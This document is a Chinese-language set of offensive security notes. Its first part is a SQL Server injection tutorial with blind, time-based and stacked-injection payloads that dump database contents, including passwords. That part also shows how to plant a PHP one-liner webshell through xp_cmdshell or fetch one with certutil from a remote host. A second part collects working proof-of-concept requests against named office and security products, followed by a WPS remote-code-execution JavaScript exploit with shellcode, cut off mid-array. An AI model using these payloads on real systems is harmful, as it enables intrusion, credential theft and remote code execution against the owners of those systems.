第三行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示
第四行的0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是 C:\phpstudy\WWW\shell.php 的16进制表示

（这里第四行使用的是UTF-16LE格式，因为 image 数据类型通常用于存储二进制数据，而这个数据在SQL Server中表示为字节序列。）

CyberChef首先进行hex转化，然后utf-16LE进行decode

然后会在目标网站根目录下生成shell.php木马文件

用菜刀连接即可

盲注SQLServer数据库

判断是否是SQLServer数据库

SQLServer数据库特有的表是：sysobjects ，所以可以用它来判断是否是SQLServer数据库

exists(select*from sysobjects)

select * from sysobjects where id = 3 and exists(select*from sysobjects)

判断当前数据库用户权限

and 1=(IS_SRVROLEMEMBER('sysadmin'))        //返回正常为sa
and 1=(IS_MEMBER('db_owner'))               //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public'))          //public权限,较低

如果当前用户是sa，则执行三个都正常显示。如果是db_owner，则执行sa不正常显示，执行public正常显示。如果是public，则只执行public才正常显示

判断xp_cmdshell是否存在

and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

正常显示，说明已开启。如果不存在，则需要开启。

如果开启后，想要通过xp_cmdshell执行系统命令，需要该注入点存在堆叠注入

判断数据库的个数

and (select count(name) from master..sysdatabases)=N

由图可知，有7个数据库

判断dbid个数，一般数据库有多少个，dbid的值就为多少

and (select count(*) from master..sysdatabases where dbid=N)=1

通过dbid得到所有数据库名

当使用上一条命令不能执行时，可以使用下面的命令，查询数据库的个数，以及每个数据库的名字

判断dbid数据库的长度，由以下得知dbid为1数据库的长度是8
and len(db_name(1))>5         //正常显示
and len(db_name(1))>6         //不正常显示
 
大于5正常显示，大于6不正常显示，所以第一个数据库长度是6，即
一般来说，查的前6个数据库就是自带的那6个数据库，第7个开始才是我们自己建的
 
and len(db_name(7))>3         //正常显示
and len(db_name(7))>4         //不正常显示
大于3正常显示，大于4不正常显示，所以第7个数据库名的长度为4
 
判断dbid为7数据库字符的ascii值
and ascii(substring(db_name(7),1,1))>100   //正常显示
and ascii(substring(db_name(7),1,1))>150   //不正常显示
and ascii(substring(db_name(7),1,1))>125   //不正常显示
and ascii(substring(db_name(7),1,1))>112   //正常显示
and ascii(substring(db_name(7),1,1))>118   //不正常显示
and ascii(substring(db_name(7),1,1))>115   //正常显示
and ascii(substring(db_name(7),1,1))>116   //不正常显示
 
大于115正常显示，大于116不正常显示，所以第七个数据库的第一个字符的ascii值为116，对应的字符是t
 
以此类推，数据库的第二个字符为  and ascii(substring(db_name(7),2,1))>100
         数据库的第三个字符为：and ascii(substring(db_name(7),3,1))>100
         数据库的第三个字符为：and ascii(substring(db_name(7),4,1))>100
最后得到第7个数据库名为：test

判断当前数据库名

判断数据库的长度，由以下得知数据库的长度是8
and len(db_name())>3         //正常显示
and len(db_name())>4         //不正常显示
 
大于3正常显示，大于4不正常显示，所以数据库名的长度为4
 
判断数据库字符的ascii值，用二分法
and ascii(substring(db_name(),1,1))>100   //正常显示
and ascii(substring(db_name(),1,1))>150   //不正常显示
and ascii(substring(db_name(),1,1))>125   //不正常显示
and ascii(substring(db_name(),1,1))>112   //正常显示
and ascii(substring(db_name(),1,1))>118   //不正常显示
and ascii(substring(db_name(),1,1))>115   //正常显示
and ascii(substring(db_name(),1,1))>116   //不正常显示
 
大于115正常显示，大于116不正常显示，所以数据库第一个字符的ascii值为116，对应的字符是t
 
以此类推，数据库的第二个字符为  and ascii(substring(db_name(),2,1))>100
         数据库的第三个字符为：and ascii(substring(db_name(),3,1))>100
         数据库的第三个字符为：and ascii(substring(db_name(),4,1))>100
         
最后得到数据库名为：test

这里我们已经知道了当前数据库名为： test

爆破test数据库中表的个数

and (select count(name) from test..sysobjects where xtype='U')>0   正常显示
and (select count(name) from test..sysobjects where xtype='U')>1   不正常显示
所以test数据库只有一个表

爆破test数据库中表

这里爆破表的时候，不能爆破表名的长度，所以只能爆破表名的一个一个字符。当爆破到第某个字符出现其ascii值>0都不正常显示时，说明这个字符位不存在，所以到前一位为止。注意，这里爆破得到的表名有 dbo.

第一个表的第一个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
第一个表的第二个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
第一个表的第三个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
......
当爆破到第10个字符的时候，发现>0都不正常显示，说明不存在第10位
爆破得到表名为：dbo.users
 
如果有第二个表，第三个表...
 
爆破第二个表的第一个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
爆破第二个表的第二个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
爆破第二个表的第三个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
......
 
爆破第三个表的第一个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
爆破第三个表的第二个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
爆破第三个表的第三个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N

这里我们爆出了test数据库中存在 dbo.users 表

爆破test数据库中user表的字段数

and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='users'))=3  #正常显示
所以users表有3个字段

这里我们爆出了test数据库中users表有3个字段

爆破test数据库中users表的字段名

爆破test数据库中user表的第一个字段名的长度
and len((select top 1 col_name(object_id('users'),1) from test..sysobjects))>1  正常显示
and len((select top 1 col_name(object_id('users'),1) from test..sysobjects))>2  不正常显示
所以users表的第一个字段名长度为2
 
爆破test数据库中user表的第一个字段的第一个字符的ascii值,二分法
and ascii(substring((select top 1 col_name(object_id('users'),1) from test..sysobjects),1,1))>N
爆破test数据库中user表的第一个字段的第二个字符的ascii值：
and ascii(substring((select top 1 col_name(object_id('users'),1) from test..sysobjects),2,1))>N
........
最后得到第一个字段为：id
 
爆破test数据库中user表的第二个字段名的长度
and len((select top 1 col_name(object_id('users'),2) from test..sysobjects))>N
 
爆破test数据库中user表的第二个字段的第一个字符的ascii值：
and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),1,1))>N
爆破test数据库中user表的第二个字段的第二个字符的ascii值：
and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),2,1))>N
爆破test数据库中user表的第三个字段的第三个字符的ascii值：
and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),3,1))>N
 
爆破test数据库中user表的第三个字段名的长度
and len((select top 1 col_name(object_id('users'),3) from test..sysobjects))>N
........

这里假设我们爆出了users表的三个字段名：id，username，password

爆test数据库user表中数据总条数

and (select count(*) from test..users)=N

由图可知只有四条数据

爆破test数据库中user表中password列中的数据

这里爆破数据的时候，不能爆破数据的长度，所以只能爆破数据的一个一个字符。当爆破到第某个字符出现其ascii值>0都不正常显示时，说明这个字符位不存在，所以到前一位为止。

爆破test数据库中users表中password列中第一行数据的第一个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),1,1))>N
爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),2,1))>N
爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),3,1))>N
爆破test数据库中user表中password列中第一行数据的第四个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),4,1))>N
当爆破到第5个字符的时候，发现ascii>0都不正常显示，说明，第一个数据长度为4
最后爆出test数据库users表password列的第一条数据是：root
 
 
爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),1,1))>N
爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),2,1))>N
爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),3,1))>N
........

延时注入

判断是否是SA权限
if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'
判断是否是站库分离(延时后返回正确页面，确定站库没有分离)
if(host_name()=@@servername) WAITFOR DELAY '0:0:2'
 
判断数据库的个数
IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))=55) WAITFOR DELAY '0:0:2' 
 
判断是否开启xp_cmdshell
if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
 
更多延时注入payload，可以查看sqlmap

根据响应时间判断执行是否正确

Union联合查询

首先order by查看有几列
1 order by 3  正常显示
1 order by 4  不正常显示
说明有3列
 
然后我们可以select NULL,NULL,想查询的数据

查询数据库版本

查询机器名

查询所有数据库名

堆叠注入

SQLServer堆叠注入，由于执行的命令没有回显，所以需要结合时间盲注来查询数据。由于堆叠查询的语句会被执行，所以下面的SQLServer获取权限的奇淫技巧，就是利用到了堆叠注入这一特性。

SQLServer获取权限的奇淫技巧

利用前提：

目标网站注入支持堆叠注入
当前权限是SA权限
使用sqlmap的 --os-shell 无法获取到权限

这里很多人就会问了，既然是SA权限，不是可以直接利用xp_cmdshell执行系统命令吗？对，没错，但是你这里使用注入执行xp_cmdshell的命令没有回显。我们这个获取权限的思路就是，找到目标网站的绝对路径，然后往绝对路径下写入木马，然后获取权限。

我们这里是通过先找到目标网站的一个文件，然后通过遍历目标服务器的磁盘，找到该文件，将其路径写入自建的表中，然后再读取该表得到网站绝对路径。

这里利用的查找命令是

查找目标机器C盘下的test.txt文件
for /r c:\ %i in (test*.txt) do @echo %i   #这里的文件名后缀前那个点一定要加*号
dir /s /b c:\test.txt

这里假设我们已经知道目标网站下有一个test.txt文件

创建表hack，并添加一个tmp的字段
create table hack (tmp varchar(1000));--

查看表是否创建成功

python2 sqlmap.py -u http://192.168.10.20:88/index.php?id=1 -D test --tables

查找目标机器C盘下的test.txt路径，并将结果写入刚刚创建的hack表的tmp字段
;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\test.txt';--
或
;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (test*.txt) do @echo %i';--

以下两条语句均可

读取数据，得到目标网站绝对路径为：C:\phpstudy\www\

python2 sqlmap.py -u http://192.168.10.20:88/index.php?id=1 -D test -T hack --dump

将一句话木马写入目标网站根目录，并命名为shell.php。注意这里的一句话木马的 < 和 > 前要加上 ^

1;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[x]);?^> > C:\phpstudy\www\shell.php';--

菜刀连接之

如果写入的木马文件连接不上的话，我们还可以通过下面手段使用 certutil 远程下载木马文件，前提是目标机器通公网。

1;exec master..xp_cmdshell 'certutil -urlcache -split -f http://x.x.x.x/shell.php C:\phpstudy\www\shell2.php';--

连接下载的shell2.php木马即可！

还原备份数据库

鼠标右键数据库——>还原数据库

选择源设备，选择我们的备份数据库。然后目标数据库也选择该备份数据库，还原那里打上勾，点击确定即可。

2023HW漏洞POC/EXP、情报汇总知识库

Fri, 25 Aug 2023 21:24:00 GMT

2023HW漏洞POC/EXP、情报汇总知识库

一、2023HW漏洞POC、EXP

1、致远oa rce

POC

1、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
gManager
2、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
gManager&requestCompress=gzip
3、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
gManager&requestCompress=gzip&managerMethod=checkDB&argumen
ts=
4、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
gManager&managerMethod=checkDB&arguments=
5、/seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
gManager&managerMethod=&arguments

2、某神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞

POST /?g=obj_app_upfile HTTP/1.1
Host: x.x.x.x
Accept: /
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
Content-Type: text/plain

<?php php马?>

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--

马儿路径：attachements/xxx.php

3、某达OA sql注入漏洞 CVE-2023-4166

影响范围
通达OA
是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是适合各个行业用户的综合管理办公平台
本次范围：通达OA版本11.10之前

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

4、某达OA sql注入漏洞 CVE-2023-4165 POC

通达OA版本11.10之前存在SQL注入。
通过时间延迟获取数据库信息

验证POC1：
/general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1

验证POC2：
/general/system/seal_manage/iweboffice/delete_seal.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1

GET /general/system/seal_manage/iweboffice/delete_seal.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

5、某x服应用交付系统命令执行漏洞 POC

POST /rep/login
Host:10.10.10.1:85

clsMode=cls_mode_login%0Als%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123

6、广联达oa sql注入漏洞 POC

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host: xxx.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xxx.com:8888/Services/Identification/Server/Incompatible.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

7、某服 sxf-报表系统版本有限制

POC

POST /rep/login HTTP/1.1 
Host: URL
Cookie: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0s X 10.15: ry:109.0)Gecko/20100101 Firefox/115.0 
Accept:text/html,application/xhtml+xml,application/xml;g=0,9, image/avif, image/webp,*/*;q=0.8 Accept-Language:zh-CN, zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5,en-US;g=0.3,en;g=0.2 
Accept-Encoding: gzip deflate 
Upgrade-Insecure-Requests: 1 
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate 
Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cache14 Te: trailers 
Connection: close 
Content-Type:application/x-www-form-urlencoded 
Content-Length: 126 clsMode=cls_mode_login&index=index&log_type=report&page=login&rnd=0.7550103466497915&userID=admin%0Aid -a %0A&userPsw=tmbhuisq

8、某盟sas安全审计系统任意文件读取漏洞POC

/webconf/GetFile/index?path=../../../../../../../../../../../../../../etc/passwd
/api/virtual/home/status?cat=../../../../../../../../etc/passwd

9、某凌OA前台代码执行

POC

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: www.ynjd.cn:801
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: /
Connection: Keep-Alive
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

var={"body":{"file":"file:///etc/passwd"}}

10、金山WPS RCE

wps影响范围为：WPS Office 2023 个人版 < 11.1.0.15120
WPS Office 2019 企业版 < 11.8.2.12085
POC
在1.html当前路径下启动http server并监听80端口，修改hosts文件（测试写死的） 
127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn cloudwps.cn和wps.cn没有任何关系
代码块在底下。（需要原pdf加wechat）

<script>
if(typeof alert === "undefined"){
alert = console.log;
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function gc(){ // major
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
function foo(bug) {
function C(z) {
Error.prepareStackTrace = function(t, B) {
return B[z].getThis();
};
let p = Error().stack;
Error.prepareStackTrace = null;
return p;
}
function J() {}
var optim = false;
var opt = new Function(
'a', 'b', 'c',
'if(typeof a===\'number\'){if(a>2){for(var
i=0;i<100;i++);return;}b.d(a,b,1);return}' +
'g++;'.repeat(70));
var e = null;
J.prototype.d = new Function(
'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
J.prototype.a = new Function('a', 'a.b(0,a)');
J.prototype.b = new Function(
'a', 'b',
'b.c();if(a){' +
'g++;'.repeat(70) + '}');
J.prototype.c = function() {
if (optim) {
var z = C(3);
var p = C(3);
z[0] = 0;
e = {M: z, C: p};
}
};
var a = new J();
// jit optim
if (bug) {
for (var V = 0; 1E4 > V; V++) {
opt(0 == V % 4 ? 1 : 4, a, 1);
}
}
optim = true;
opt(1, a, 1);
return e;
}
e1 = foo(false);
e2 = foo(true);
delete e2.M[0];
let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);
map.delete(hole);
map.delete(hole);
map.delete("asd");
map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);
let obj_array = {
m: 1337, target: gc
};
let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;
let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 0xa72) {
object_idx = i;
object_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 0xa72) {
object_idx = i + 1;
object_idx_flag = 0;
break;
}
}
function addrof(obj_para) {
obj_array.target = obj_para;
let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
obj_array.target = gc;
return addr;
}
function fakeobj(addr) {
let r8 = d2u(oob_array[object_idx]);
if (object_idx_flag === 0) {
oob_array[object_idx] = u2d(addr, r8[1]);
}else {
oob_array[object_idx] = u2d(r8[0], addr);
}
return obj_array.target;
}
let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 1337) {
bk_idx = i;
bk_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 1337) {
bk_idx = i + 1;
bk_idx_flag = 0;
break;
}
}
let dv = new DataView(ab);
function get_32(addr) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
let val = dv.getUint32(0, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
return val;
}
function set_32(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint32(0, val, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
}
function write8(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint8(0, val);
}
let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);
let wasm_code = new
Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,
128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,
128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0
,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));
const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14,
0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c,
0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b,
